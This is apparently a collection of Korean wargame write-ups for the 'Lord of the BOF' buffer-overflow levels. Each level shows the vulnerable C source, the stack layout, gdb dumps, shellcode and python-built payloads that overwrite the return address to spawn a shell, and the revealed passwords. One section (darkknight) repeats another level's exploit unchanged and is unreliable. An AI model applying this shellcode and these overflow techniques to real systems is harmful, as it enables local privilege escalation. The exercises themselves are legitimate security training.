환경 변수 쉘코드 등록

$ export shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`














환경 변수 주소값 확인

#include <stdio.h>
int main(int argc, char **argv)
{
        char *addr;
        addr = getenv(argv[1]);
        printf("address %p\n", addr);
        return 0;
}





$ gcc -o get get.c
get.c: In function `main':
get.c:5: warning: assignment makes pointer from integer without a cast

$ ./get shellcode
address 0xbffffc4c














RET 주소를 환경 변수 주소로 변경하여 공격 진행

$ ./gremlin `python -c 'print "\x90"*260+"\x4c\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
bash$ whoami
gremlin
bash$ my-pass
euid = 501
hello bof world
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[lob] vampire








Source Analysis

해당 문제 소스코드는 다음과 같습니다.

/*
The Lord of the BOF : The Fellowship of the BOF
    - skeleton
    - argv hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i, saved_argc;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }

    // argc saver
    saved_argc = argc;

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

    // buffer hunter
    memset(buffer, 0, 40);

    // ultra argv hunter!
    for(i=0; i<saved_argc; i++)
        memset(argv[i], 0, strlen(argv[i]));
}














Memory Structure

스택에 다음과 같이 들어가게 됩니다.

================
LOW
----------------
Buffer  (40byte)
SFP     (4byte)
RET     (4byte)
argc    (4byte)
argv    (4byte)
----------------
HIGH
================














Segmentation fault

버퍼오버플로우가 일어나는 지점을 확인합니다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행해야 합니다.

$ ./skeleton `python -c 'print "a"*47'`
stack is still your friend.

$ ./skeleton `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault














exploit


argv[0]에 쉘코드 삽입

기존에 사용한 쉘코드에는 x2f 값이 있기 때문에 정상적으로 쉘코드가 동작하지 않습니다.

x2f가 없는 쉘코드로 파일명을 생성하도록 합니다.

$ ln skeleton2 `python -c 'print "\x90"*40+"\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

$ gdb -q `python -c 'print "\x90"*40+"\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

(gdb) b* main
Breakpoint 1 at 0x8048500
(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/vampire/▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒P▒▒▒bWR▒▒▒QX]R▒▒PS▒▒1Ұ
                                         ̀ `python -c 'print "a"*47+"\xbf"'`

/bin/bash: /home/troll/.bashrc: Permission denied

Breakpoint 1, 0x8048500 in main ()
(gdb) x/100x $esp

==========================================================================
0xbffffa0c:     0x400309cb      0x00000002      0xbffffa54      0xbffffa60
0xbffffa1c:     0x40013868      0x00000002      0x08048450      0x00000000
0xbffffa2c:     0x08048471      0x08048500      0x00000002      0xbffffa54
0xbffffa3c:     0x08048390      0x080486ac      0x4000ae60      0xbffffa4c
0xbffffa4c:     0x40013e90      0x00000002      0xbffffb4c      0xbffffbe6
0xbffffa5c:     0x00000000      0xbffffc17      0xbffffc39      0xbffffc43
0xbffffa6c:     0xbffffc51      0xbffffc70      0xbffffc80      0xbffffc99
0xbffffa7c:     0xbffffcb4      0xbffffcbf      0xbffffccd      0xbffffd0e
(중략)
0xbfffff5c:     0x35333b31      0x682f003a      0x2f656d6f      0x706d6176
0xbfffff6c:     0x2f657269      0x90909090      0x90909090      0x90909090
0xbfffff7c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff8c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff9c:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffac:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffbc:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffcc:     0x90909090      0x90909090      0xba50c031      0x11111111
0xbfffffdc:     0x1e1ec281      0xba525762      0x11111111      0x511ec281
0xbfffffec:     0x89525d58      0x895350e3      0xb0d231e1      0x0080cd0b
0xbffffffc:     0x00000000      Cannot access memory at address 0xc0000000
==========================================================================





program명 주소를 찾아서 RET로 덮어씌우면 됩니다.




RET 주소를 argv[0] 주소로 변경하여 공격 진행

filename : nop(100 byte) + shellcode (39 byte)

argv[1] : nop(44 byte) + argv[0] address

$ ./`python -c 'print "\x90"*100+"\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` `python -c 'print "a"*44+"\xbc\xff\xff\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒▒▒▒

bash$ whoami
skeleton
bash$ my-pass
euid = 510
shellcoder
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skeleton


source code

해당 문제 소스코드는 다음과 같습니다.

/*
    The Lord of the BOF : The Fellowship of the BOF
    - golem
    - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

    // stack destroyer!
    memset(buffer, 0, 44);
    memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}








Buffer Overflow

스택에 다음과 같이 들어가게 됩니다.







	LOW
	


	Buffer
	(40byte)


	SFP
	(4byte)


	RET
	(4byte)


	argc
	(4byte)


	argv
	(4byte)


	HIGH
	





버퍼오버플로우가 일어나는 지점을 확인합니다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행해야 합니다.

[skeleton@localhost skeleton]$ ./golem `python -c 'print "a"*47'`
stack is still your friend.
[skeleton@localhost skeleton]$ ./golem `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault








EXPLOIT


	쉘코드 파일명을 공유 라이브러리로 등록

	RET 주소를 공유 라이브러리 로드 주소로 변경하여 공격 진행




쉘코드 파일명을 공유 라이브러리로 등록

기존에 사용한 쉘코드에는 x2f 값이 있기 때문에 정상적으로 쉘코드가 동작하지 않습니다.

x2f가 없는 쉘코드로 파일명을 생성하도록 합니다.

공유 라이브러리 영역에 쉘코드로 파일명을 등록합니다.

[skeleton@localhost skeleton]$ gcc -fPIC -shared -o `python -c 'print "\x90"*40+"\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` golem.c

[skeleton@localhost skeleton]$ export LD_PRELOAD=./`python -c 'print "\x90"*40+"\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`





gdb를 통해 공유 라이브러리에 올라간 쉘코드 주소를 확인합니다.

(gdb) b* main
Breakpoint 1 at 0x8048500
(gdb) r
Starting program: /home/skeleton/golem2
/bin/bash: /home/troll/.bashrc: Permission denied

Breakpoint 1, 0x8048470 in main ()
(gdb) x/100x $esp-3000














	0xbfffeef4:
	0x000005f0
	0x0000004d
	0x0000028d
	0x00000319


	0xbfffef04:
	0x000005a7
	0x00000514
	0x0000020c
	0x00000659


	0xbfffef14:
	0x000002a4
	0x0000003f
	0x00000311
	0x000001fe


	0xbfffef24:
	0x00000000
	0x0000050f
	0x00000446
	0x00000000


	0xbfffef34:
	0x00000500
	0x0000054e
	0x000006d6
	0x0000068b


	0xbfffef44:
	0x00000000
	0x0000037d
	0x00000000
	0x0000038c


	0xbfffef54:
	0x00000000
	0x000000cb
	0x0000059b
	0x00000707


	0xbfffef64:
	0x00000557
	0x00000000
	0x00000564
	0x00000000


	0xbfffef74:
	0x00000301
	0x0000048e
	0x00000550
	0x00000000


	0xbfffef84:
	0x0000067f
	0x00000000
	0x00000000
	0x00000715


	0xbfffef94:
	0x000005e9
	0x0000060d
	0x00000529
	0x000003a4


	(중략)
	
	
	
	


	0xbffff604:
	0xbffff64c
	0x00000002
	0x40023fd0
	0x40013c00


	0xbffff614:
	0x4000ba15
	0x40013868
	0x40000814
	0x400041b0


	0xbffff624:
	0x00000001
	0xbffff634
	0x40001528
	0x000002c8


	0xbffff634:
	0x00000000
	0x080482d0
	0x00000000
	0x00000001


	0xbffff644:
	0x40000824
	0xbffff654
	0x400075bb
	0x40017000


	0xbffff654:
	0x00002fb2
	0x40013868
	0xbffff7e4
	0x4000380e


	0xbffff664:
	0x40014428
	0x90902f2e
	0x90909090
	0x90909090


	0xbffff674:
	0x90909090
	0x90909090
	0x90909090
	0x90909090


	0xbffff684:
	0x90909090
	0x90909090
	0x90909090
	0xc0319090


	0xbffff694:
	0x1111ba50
	0xc2811111
	0x57621e1e
	0x1111ba52


	0xbffff6a4:
	0xc2811111
	0x5d58511e
	0x50e38952
	0x31e18953








RET 주소를 공유 라이브러리 로드 주소로 변경하여 공격 진행

공유 라이브러리 주소 : nop(40 byte) + shellcode (39 byte)

argv[1] : nop(44 byte) + 공유 라이브러리 주소

[skeleton@localhost skeleton]$ ./golem `python -c 'print "\x90"*44+"\x82\xf6\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

bash$ whoami
golem
bash$ my-pass
euid = 511
cup of coffee
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darkknight


source code

해당 문제 소스코드는 다음과 같습니다.

/*
    The Lord of the BOF : The Fellowship of the BOF
    - darkknight
    - FPO
*/

#include <stdio.h>
#include <stdlib.h>

void problem_child(char *src)
{
    char buffer[40];
    strncpy(buffer, src, 41);
    printf("%s\n", buffer);
}

main(int argc, char *argv[])
{
    if(argc<2){
        printf("argv error\n");
        exit(0);
    }
    problem_child(argv[1]);
}








Buffer Overflow

스택에 다음과 같이 들어가게 됩니다.







	LOW
	


	Buffer
	(40byte)


	SFP
	(4byte)


	RET
	(4byte)


	argc
	(4byte)


	argv
	(4byte)


	HIGH
	








EXPLOIT


	ebp 마지막 1바이트를 수정하여 특정 주소로 이동

	RET 주소를 공유 라이브러리 로드 주소로 변경하여 공격 진행




쉘코드 파일명을 공유 라이브러리로 등록

기존에 사용한 쉘코드에는 x2f 값이 있기 때문에 정상적으로 쉘코드가 동작하지 않습니다.

x2f가 없는 쉘코드로 파일명을 생성하도록 합니다.

공유 라이브러리 영역에 쉘코드로 파일명을 등록합니다.

[skeleton@localhost skeleton]$ gcc -fPIC -shared -o `python -c 'print "\x90"*40+"\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` golem.c

[skeleton@localhost skeleton]$ export LD_PRELOAD=./`python -c 'print "\x90"*40+"\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`





gdb를 통해 공유 라이브러리에 올라간 쉘코드 주소를 확인합니다.

(gdb) b* main
Breakpoint 1 at 0x8048500
(gdb) r
Starting program: /home/skeleton/golem2
/bin/bash: /home/troll/.bashrc: Permission denied

Breakpoint 1, 0x8048470 in main ()
(gdb) x/100x $esp-3000














	0xbfffeef4:
	0x000005f0
	0x0000004d
	0x0000028d
	0x00000319


	0xbfffef04:
	0x000005a7
	0x00000514
	0x0000020c
	0x00000659


	0xbfffef14:
	0x000002a4
	0x0000003f
	0x00000311
	0x000001fe


	0xbfffef24:
	0x00000000
	0x0000050f
	0x00000446
	0x00000000


	0xbfffef34:
	0x00000500
	0x0000054e
	0x000006d6
	0x0000068b


	0xbfffef44:
	0x00000000
	0x0000037d
	0x00000000
	0x0000038c


	0xbfffef54:
	0x00000000
	0x000000cb
	0x0000059b
	0x00000707


	0xbfffef64:
	0x00000557
	0x00000000
	0x00000564
	0x00000000


	0xbfffef74:
	0x00000301
	0x0000048e
	0x00000550
	0x00000000


	0xbfffef84:
	0x0000067f
	0x00000000
	0x00000000
	0x00000715


	0xbfffef94:
	0x000005e9
	0x0000060d
	0x00000529
	0x000003a4


	(중략)
	
	
	
	


	0xbffff604:
	0xbffff64c
	0x00000002
	0x40023fd0
	0x40013c00


	0xbffff614:
	0x4000ba15
	0x40013868
	0x40000814
	0x400041b0


	0xbffff624:
	0x00000001
	0xbffff634
	0x40001528
	0x000002c8


	0xbffff634:
	0x00000000
	0x080482d0
	0x00000000
	0x00000001


	0xbffff644:
	0x40000824
	0xbffff654
	0x400075bb
	0x40017000


	0xbffff654:
	0x00002fb2
	0x40013868
	0xbffff7e4
	0x4000380e


	0xbffff664:
	0x40014428
	0x90902f2e
	0x90909090
	0x90909090


	0xbffff674:
	0x90909090
	0x90909090
	0x90909090
	0x90909090


	0xbffff684:
	0x90909090
	0x90909090
	0x90909090
	0xc0319090


	0xbffff694:
	0x1111ba50
	0xc2811111
	0x57621e1e
	0x1111ba52


	0xbffff6a4:
	0xc2811111
	0x5d58511e
	0x50e38952
	0x31e18953








RET 주소를 공유 라이브러리 로드 주소로 변경하여 공격 진행

공유 라이브러리 주소 : nop(40 byte) + shellcode (39 byte)

argv[1] : nop(44 byte) + 공유 라이브러리 주소

[skeleton@localhost skeleton]$ ./golem `python -c 'print "\x90"*44+"\x82\xf6\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒

bash$ whoami
golem
bash$ my-pass
euid = 511
cup of coffee
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[lob] gremlin








Source Analysis

해당 문제 소스코드는 다음과 같습니다.

/*
    The Lord of the BOF : The Fellowship of the BOF
    - cobolt
    - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}














Memory Structure

스택에 다음과 같이 들어가게 됩니다.

===============
LOW
---------------
Buffer  (16byte) <- argv[1]
SFP     (4byte)
RET     (4byte)
---------------
HIGH
===============














Segmentation fault

버퍼오버플로우가 일어나는 지점을 확인합니다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행해야 합니다.

$ ./cobolt `python -c "print 'a'*16"`
aaaaaaaaaaaaaaaa
$ ./cobolt `python -c "print 'a'*20"`
aaaaaaaaaaaaaaaaaaaa
Segmentation fault














exploit


환경 변수 쉘코드 등록

$ export shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`














환경 변수 주소값 확인

#include <stdio.h>
int main(int argc, char **argv)
{
        char *addr;
        addr = getenv(argv[1]);
        printf("address %p\n", addr);
        return 0;
}





$ gcc -o get get.c
get.c: In function `main':
get.c:5: warning: assignment makes pointer from integer without a cast

$ ./get shellcode
address 0xbfffff01














RET 주소를 환경 변수 주소로 변경하여 공격 진행

$ ./cobolt `python -c 'print "\x90"*20+"\x01\xff\xff\xbf"'`

bash$ whoami
cobolt
bash$ my-pass
euid = 502
hacking exposed
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[lob] cobolt








Source Analysis

해당 문제 소스코드는 다음과 같습니다.

/*
    The Lord of the BOF : The Fellowship of the BOF
    - goblin
    - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}














Memory Structure

스택에 다음과 같이 들어가게 됩니다.

===============
LOW
---------------
Buffer  (16byte) <- gets
SFP     (4byte)
RET     (4byte)
---------------
HIGH
===============














Segmentation fault

버퍼오버플로우가 일어나는 지점을 확인합니다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행해야 합니다.

$ ./goblin
aaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaa
$ ./goblin
aaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa
Segmentation fault














exploit


환경 변수 쉘코드 등록

$ export shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`














환경 변수 주소값 확인

#include <stdio.h>
int main(int argc, char **argv)
{
        char *addr;
        addr = getenv(argv[1]);
        printf("address %p\n", addr);
        return 0;
}





$ gcc -o get get.c
get.c: In function `main':
get.c:6: warning: assignment makes pointer from integer without a cast

$ ./get shellcode
address 0xbfffff02














RET 주소를 환경 변수 주소로 변경하여 공격 진행

$ (python -c 'print "a"*20+"\x01\xff\xff\xbf"';cat) |./goblin
aaaaaaaaaaaaaaaaaaaa▒▒▒

whoami
goblin
my-pass
euid = 503
hackers proof
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[lob] goblin








Source Analysis

해당 문제 소스코드는 다음과 같습니다.

/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}














Memory Structure

스택에 다음과 같이 들어가게 됩니다.

================
LOW
----------------
Buffer  (40byte)
SFP     (4byte)
RET     (4byte)
argc    (4byte)
argv    (4byte)
----------------
HIGH
================














Segmentation fault

버퍼오버플로우가 일어나는 지점을 확인합니다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행해야 합니다.

[goblin@localhost goblin]$$ ./orc `python -c 'print "a"*47'`
stack is still your friend.
[goblin@localhost goblin]$$ ./orc `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault














exploit


argv[1] 주소 확인

gdb를 이용하여 argv가 가리키는 주소를 찾습니다.

(gdb) b *main
Breakpoint 1 at 0x8048500

(gdb)
Note: breakpoint 1 also set at pc 0x8048500.
Breakpoint 2 at 0x8048500

(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/goblin/orc1 `python -c 'print "a"*47+"\xbf"'`

Breakpoint 1, 0x8048500 in main ()

(gdb) stepi
0x8048501 in main ()

(gdb) i reg $esp
esp            0xbffffaf8       -1073743112

(gdb) i reg $ebp
ebp            0xbffffb18       -1073743080

(gdb) x/100x $esp

    ==========================================================================
    0xbffffaf8:     0xbffffb18      0x400309cb      0x00000002      0xbffffb44
    0xbffffb08:     0xbffffb50      0x40013868      0x00000002      0x08048450
    0xbffffb18:     0x00000000      0x08048471      0x08048500      0x00000002
    0xbffffb28:     0xbffffb44      0x08048390      0x0804860c      0x4000ae60
    0xbffffb38:     0xbffffb3c      0x40013e90      0x00000002      0xbffffc37
    0xbffffb48:     0xbffffc49      0x00000000      0xbffffc7a      0xbffffc9c
    0xbffffb58:     0xbffffca6      0xbffffcb4      0xbffffcd3      0xbffffce2
    0xbffffb68:     0xbffffcfb      0xbffffd17      0xbffffd36      0xbffffd41
    0xbffffb78:     0xbffffd4f      0xbffffd91      0xbffffda3      0xbffffdb8
    0xbffffb88:     0xbffffdc8      0xbffffdd4      0xbffffdf2      0xbffffdfd
    0xbffffb98:     0xbffffe0e      0xbffffe1f      0xbffffe27      0x00000000
    0xbffffba8:     0x00000003      0x08048034      0x00000004      0x00000020
    0xbffffbb8:     0x00000005      0x00000006      0x00000006      0x00001000
    0xbffffbc8:     0x00000007      0x40000000      0x00000008      0x00000000
    0xbffffbd8:     0x00000009      0x08048450      0x0000000b      0x000001f7
    0xbffffbe8:     0x0000000c      0x000001f7      0x0000000d      0x000001f7
    0xbffffbf8:     0x0000000e      0x000001f7      0x00000010      0x0fabfbff
    0xbffffc08:     0x0000000f      0xbffffc32      0x00000000      0x00000000
    0xbffffc18:     0x00000000      0x00000000      0x00000000      0x00000000
    0xbffffc28:     0x00000000      0x00000000      0x36690000      0x2f003638
    0xbffffc38:     0x656d6f68      0x626f672f      0x2f6e696c      0x3163726f
    0xbffffc48:     0x61616100      0x61616161      0x61616161      0x61616161
                                                                ^ argv[1] = 0xbffffc51
    0xbffffc58:     0x61616161      0x61616161      0x61616161      0x61616161
    0xbffffc68:     0x61616161      0x61616161      0x61616161      0x61616161
    0xbffffc78:     0x454c00bf      0x504f5353      0x7c3d4e45      0x7273752f
    ==========================================================================








RET 주소를 argv[1] 주소로 변경하여 공격 진행

nop (19 byte) + shellcode (25 byte) + argv[1] address

[goblin@localhost goblin]$$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x4c\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀L▒▒▒
Segmentation fault

[goblin@localhost goblin]$$ ./orc `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x51\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀Q▒▒▒
bash$ whoami
orc
bash$ my-pass
euid = 504
cantata
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Source Analysis

해당 문제 소스코드는 다음과 같습니다.

/*
    The Lord of the BOF : The Fellowship of the BOF
    - wolfman
    - egghunter + buffer hunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

// egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

    // buffer hunter
    memset(buffer, 0, 40);
}














Memory Structure

스택에 다음과 같이 들어가게 됩니다.

================
LOW
----------------
Buffer  (40byte)
SFP     (4byte)
RET     (4byte)
argc    (4byte)
argv    (4byte)
----------------
HIGH
================














Segmentation fault

버퍼오버플로우가 일어나는 지점을 확인합니다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행해야 합니다.

$ ./wolfman `python -c 'print "a"*47'`
stack is still your friend.
$ ./wolfman `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault














exploit


argv[1] 주소 확인

gdb를 이용하여 argv가 가리키는 주소를 찾습니다.

(gdb) b *main
Breakpoint 1 at 0x8048500

(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/orc/wolfman1 `python -c 'print "a"*47+"\xbf"'`
/bin/bash: /home/goblin/.bashrc: Permission denied

Breakpoint 1, 0x8048500 in main ()

(gdb) stepi
0x8048501 in main ()

(gdb) i reg $esp
esp            0xbffffae8       -1073743128

(gdb) i reg $ebp
ebp            0xbffffb08       -1073743096

(gdb) x/100x $esp

    ==========================================================================
    0xbffffae8:     0xbffffb08      0x400309cb      0x00000002      0xbffffb34
    0xbffffaf8:     0xbffffb40      0x40013868      0x00000002      0x08048450
    0xbffffb08:     0x00000000      0x08048471      0x08048500      0x00000002
    0xbffffb18:     0xbffffb34      0x08048390      0x0804861c      0x4000ae60
    0xbffffb28:     0xbffffb2c      0x40013e90      0x00000002      0xbffffc2e
    0xbffffb38:     0xbffffc43      0x00000000      0xbffffc74      0xbffffc96
    0xbffffb48:     0xbffffca0      0xbffffcae      0xbffffccd      0xbffffcd9
    0xbffffb58:     0xbffffcf2      0xbffffd0e      0xbffffd2d      0xbffffd38
    0xbffffb68:     0xbffffd46      0xbffffd88      0xbffffd97      0xbffffdac
    0xbffffb78:     0xbffffdbc      0xbffffdc5      0xbffffde3      0xbffffdee
    0xbffffb88:     0xbffffdff      0xbffffe0d      0xbffffe1c      0xbffffe24
    0xbffffb98:     0x00000000      0x00000003      0x08048034      0x00000004
    0xbffffba8:     0x00000020      0x00000005      0x00000006      0x00000006
    0xbffffbb8:     0x00001000      0x00000007      0x40000000      0x00000008
    0xbffffbc8:     0x00000000      0x00000009      0x08048450      0x0000000b
    0xbffffbd8:     0x000001f8      0x0000000c      0x000001f8      0x0000000d
    0xbffffbe8:     0x000001f8      0x0000000e      0x000001f8      0x00000010
    0xbffffbf8:     0x0fabfbff      0x0000000f      0xbffffc29      0x00000000
    0xbffffc08:     0x00000000      0x00000000      0x00000000      0x00000000
    0xbffffc18:     0x00000000      0x00000000      0x00000000      0x00000000
    0xbffffc28:     0x38366900      0x682f0036      0x2f656d6f      0x2f63726f
    0xbffffc38:     0x6f772f2e      0x616d666c      0x6100336e      0x61616161
    0xbffffc48:     0x61616161      0x61616161      0x61616161      0x61616161
                                                        ^ argv[1] = 0xbffffc53
    0xbffffc58:     0x61616161      0x61616161      0x61616161      0x61616161
    0xbffffc68:     0x61616161      0x61616161      0x00bf6161      0x5353454c
    ==========================================================================














RET 주소를 argv[1] 주소로 변경하여 공격 진행

nop (19 byte) + shellcode (25 byte) + argv[1] address

$ ./wolfman `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x43\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀L▒▒▒
Segmentation fault

$ ./wolfman `python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x53\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                       ̀S▒▒▒

bash$ whoami
wolfman
bash$ my-pass
euid = 505
love eyuna
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Source Analysis

해당 문제 소스코드는 다음과 같습니다.

/*
    The Lord of the BOF : The Fellowship of the BOF
    - darkelf
    - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
    char buffer[40];
    int i;

    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }

    // egghunter
    for(i=0; environ[i]; i++)
        memset(environ[i], 0, strlen(environ[i]));

    if(argv[1][47] != '\xbf')
    {
        printf("stack is still your friend.\n");
        exit(0);
    }

    // check the length of argument
    if(strlen(argv[1]) > 48){
        printf("argument is too long!\n");
        exit(0);
    }

    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);

    // buffer hunter
    memset(buffer, 0, 40);
}














Memory Structure

스택에 다음과 같이 들어가게 됩니다.

================
LOW
----------------
Buffer  (40byte)
SFP     (4byte)
RET     (4byte)
argc    (4byte)
argv    (4byte)
----------------
HIGH
================














Segmentation fault

버퍼오버플로우가 일어나는 지점을 확인합니다.

※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행해야 합니다.

